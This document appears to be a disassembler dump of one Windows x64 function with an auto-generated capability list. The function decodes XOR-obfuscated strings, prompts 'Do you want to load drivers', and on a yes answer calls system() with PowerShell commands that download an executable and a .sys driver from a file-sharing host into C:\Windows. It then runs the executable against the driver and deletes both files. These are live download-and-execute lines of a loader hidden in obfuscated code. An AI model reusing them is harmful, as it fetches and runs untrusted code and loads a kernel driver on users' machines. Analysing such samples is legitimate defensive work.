Function at 0x14004bbf0
Capabilities:
Accept command line arguments
Create process on windows
Delete file
Encode data using xor
Encrypt data using speck
Enumerate gui resources
Enumerate processes
Execute command
Get disk information
Set console window title
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x580
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
mov rax, qword [0x1400ce180]
xor rax, rsp
mov qword [rsp + 0x520], rax
xor ebx, ebx
mov dword [rsp + 0x1d0], ebx
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rdi, rax
mov dword [rsp + 0x1f8], ebx
lea rdx, [rsp + 0x1f8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edx, dword [rsp + 0x1f8]
or edx, 4
mov dword [rsp + 0x1f8], edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetConsoleMode]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rdi, rax
lea rdx, [rsp + 0x240]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 0x190
mov r9d, 0x190
mov r8d, dword [rsp + 0x244]
mov edx, dword [rsp + 0x240]
mov rcx, rdi
call qword [sym.imp.USER32.dll_MoveWindow]
movups xmm0, xmmword [str.a_WUVKLZ__a_fc]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x1400b4ea8]
mov dword [rsp + 0x80], eax
mov esi, dword [0x1400ce1d8]
movdqa xmm7, xmmword [0x1400b5350]
movdqa xmm6, xmmword [0x1400b53c0]
movdqa xmm8, xmmword [0x1400b5370]
movdqa xmm10, xmmword [0x1400b53d0]
movdqa xmm9, xmmword [0x1400b5380]
cmp byte [0x1400b4eab], bl
je 0x14004be71
mov r8d, ebx
cmp esi, 2
jl 0x14004be2d
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x500]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004bd42
cmp r8d, 0x14
jge 0x14004be71
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14004be40
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
movups xmm0, xmmword [str.TTC_]
movups xmmword [rsp + 0x98], xmm0
movsd xmm0, qword [0x1400b5018]
movsd qword [rsp + 0xa8], xmm0
movzx eax, word [0x1400b5020]
mov word [rsp + 0xb0], ax
cmp byte [0x1400b5021], bl
je 0x14004c011
mov r8d, ebx
cmp esi, 2
jl 0x14004bfcb
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x9c]
mov edx, dword [rsp + 0x500]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004bee0
cmp r8d, 0x1a
jge 0x14004c011
movsxd rax, r8d
lea r9, [rsp + 0x98]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14004bfe0
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x220]
call fcn.140043f90
nop
lea rcx, [rsp + 0x220]
call fcn.14007bd34
nop
mov rdx, qword [rsp + 0x238]
cmp rdx, 0xf
jbe 0x14004c07b
inc rdx
mov rcx, qword [rsp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c076
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c076
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
lea rdx, str.Do_you_want_to_load_drivers__n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051350
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.Options:__Yes_No___n_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051350
lea rdx, str.Answer:__
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051350
xorps xmm0, xmm0
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], rbx
mov qword [rsp + 0x238], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x220], 0
lea rdx, [rsp + 0x220]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140051830
lea rcx, [rsp + 0x220]
mov r15, qword [rsp + 0x220]
mov r13, qword [rsp + 0x238]
cmp r13, 0xf
cmova rcx, r15
mov rdi, qword [rsp + 0x230]
cmp rdi, 3
jne 0x14004c164
mov r8, rdi
lea rdx, [0x1400b3e30]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14004c164
lea rcx, str.powershell__Command__Invoke_WebRequest__Uri_https:__files.catbox.moe_8gdnxs.bin__OutFile_C:WindowsGameBarPresenceWriterM.exe___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.powershell__Command__Invoke_WebRequest__Uri_https:__files.catbox.moe_d1gamx.sys__OutFile_C:WindowsGameBarPresenceWritergdx.sys___nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsGameBarPresenceWriterM.exe_C:WindowsGameBarPresenceWritergdx.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14004c1b7
lea rcx, [rsp + 0x220]
cmp r13, 0xf
cmova rcx, r15
cmp rdi, 2
jne 0x14004c194
mov r8, rdi
lea rdx, [0x1400b3e34]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
lea rdx, str.Skipping_driver_installation...
je 0x14004c19b
lea rdx, str.Invalid_response._Skipping_driver_installation...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140051350
lea rdx, [0x140051a40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.C:WindowsGameBarPresenceWriterM.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsGameBarPresenceWritergdx.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x1400b4d04]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x70]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14004c1fe
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140052260
mov r10, rax
movups xmm0, xmmword [0x1400b4dc8]
movups xmmword [rsp + 0x98], xmm0
movsd xmm0, qword [0x1400b4dd8]
movsd qword [rsp + 0xa8], xmm0
movzx ecx, word [0x1400b4de0]
mov word [rsp + 0xb0], cx
cmp byte [0x1400b4de1], 0
je 0x14004c3a1
mov r8d, ebx
cmp esi, 2
jl 0x14004c35b
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x9c]
mov edx, dword [rsp + 0x500]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004c270
cmp r8d, 0x1a
jge 0x14004c3a1
movsxd rax, r8d
lea r9, [rsp + 0x98]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14004c370
lea rdx, [rsp + 0x98]
mov rcx, r10
call fcn.140051350
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14004c3f5
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c3f0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c3f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov ecx, 0x6d6
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x98]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
mov rcx, rdi
cmp qword [rax + 0x18], 0xf
jbe 0x14004c428
mov rdx, qword [rax]
jmp 0x14004c42b
mov rdx, rax
call fcn.140052260
mov r9, rax
mov eax, dword [0x1400b4eb8]
mov dword [rsp + 0x78], eax
movzx eax, byte [0x1400b4ebc]
movsd xmm0, qword [0x1400b4eb0]
mov byte [rsp + 0x7c], al
movsd qword [rsp + 0x70], xmm0
mov ecx, ebx
cmp esi, 2
jl 0x14004c533
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400b4eb0]
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movdqa xmm2, xmmword [0x1400b5360]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov ecx, 8
movsxd rax, ecx
lea r8, [rsp + 0x70]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x37
add dl, cl
xor byte [r8], dl
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0xd
jl 0x14004c540
lea rdx, [rsp + 0x70]
mov rcx, r9
call fcn.140051350
mov rcx, rax
lea rdx, str.e_32m
call fcn.140051350
mov r10, rax
movups xmm0, xmmword [str.bV__OYJZ_a_r_d]
movups xmmword [rsp + 0x1d8], xmm0
movzx ecx, word [0x1400b4fa0]
mov word [rsp + 0x1e8], cx
cmp byte [0x1400b4fa1], 0
je 0x14004c711
mov r8d, ebx
cmp esi, 2
jl 0x14004c6cb
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x1dc]
mov edx, dword [rsp + 0x500]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004c5e0
cmp r8d, 0x12
jge 0x14004c711
movsxd rax, r8d
lea r9, [rsp + 0x1d8]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14004c6e0
lea rdx, [rsp + 0x1d8]
mov rcx, r10
call fcn.140051350
mov rcx, rax
lea rdx, str.e_0m_n_n
call fcn.140051350
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14004c777
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c772
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c772
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov ecx, 0x4e2
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x98]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
mov rcx, rdi
cmp qword [rax + 0x18], 0xf
jbe 0x14004c7cf
mov rdx, qword [rax]
call fcn.140052260
lea rdx, str.e_31m
mov rcx, rax
call fcn.140051350
mov r10, rax
movzx eax, byte [0x1400b4f50]
mov byte [rsp + 0x80], al
jmp 0x14004c7f7
mov rdx, rax
call fcn.140052260
lea rdx, str.e_31m
mov rcx, rax
call fcn.140051350
mov r10, rax
movzx ecx, byte [0x1400b4f50]
mov byte [rsp + 0x80], cl
movups xmm0, xmmword [0x1400b4f40]
movups xmmword [rsp + 0x70], xmm0
mov r8d, ebx
cmp esi, 2
jl 0x14004c91b
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x500]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004c830
cmp r8d, 0x11
jge 0x14004c961
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14004c930
lea rdx, [rsp + 0x70]
mov rcx, r10
call fcn.140051350
mov rcx, rax
lea rdx, str.e_0m_n_n
call fcn.140051350
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14004c9c4
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004c9bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004c9bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rcx, [rsp + 0x98]
call fcn.140044960
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0xf
jbe 0x14004c9f2
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140052260
mov r10, rax
movups xmm0, xmmword [0x1400b4fc8]
movups xmmword [rsp + 0x70], xmm0
mov ecx, dword [0x1400b4fd8]
mov dword [rsp + 0x80], ecx
cmp byte [0x1400b4fdb], 0
je 0x14004cb81
mov r8d, ebx
cmp esi, 2
jl 0x14004cb3b
movdqa xmmword [rsp + 0x500], xmm10
lea rcx, [rsp + 0x74]
mov edx, dword [rsp + 0x500]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004ca50
cmp r8d, 0x14
jge 0x14004cb81
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x14004cb50
lea rdx, [rsp + 0x70]
mov rcx, r10
call fcn.140051350
nop
mov rdx, qword [rsp + 0xb0]
cmp rdx, 0xf
jbe 0x14004cbd5
inc rdx
mov rcx, qword [rsp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004cbd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004cbd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400a020c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x200], xmm0
mov qword [rsp + 0x210], rbx
mov qword [rsp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x200], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0xc0]
call sub.VCRUNTIME140.dll_memset
movsd xmm0, qword [str._QZ_UOX]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [str.S_B]
mov dword [rsp + 0x78], eax
cmp byte [0x1400b4dab], 0
je 0x14004cd61
mov r8d, ebx
cmp esi, 2
jl 0x14004cd20
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._QZ_UOX]
xorps xmm1, xmm0
movd dword [rsp + 0x70], xmm1
movdqa xmm2, xmmword [0x1400b5360]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x74]
xorps xmm2, xmm1
movd dword [rsp + 0x74], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14004cd30
lea rdi, [0x140000000]
lea rax, [rdi + 0xb4fac]
mov qword [rsp + 0xc0], rax
lea rcx, [rsp + 0x170]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x1d0], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0xc0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea r12, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0xc0], r12
mov rax, qword [rsp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0xbc], edx
lea rcx, [rsp + 0xd0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea r14, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
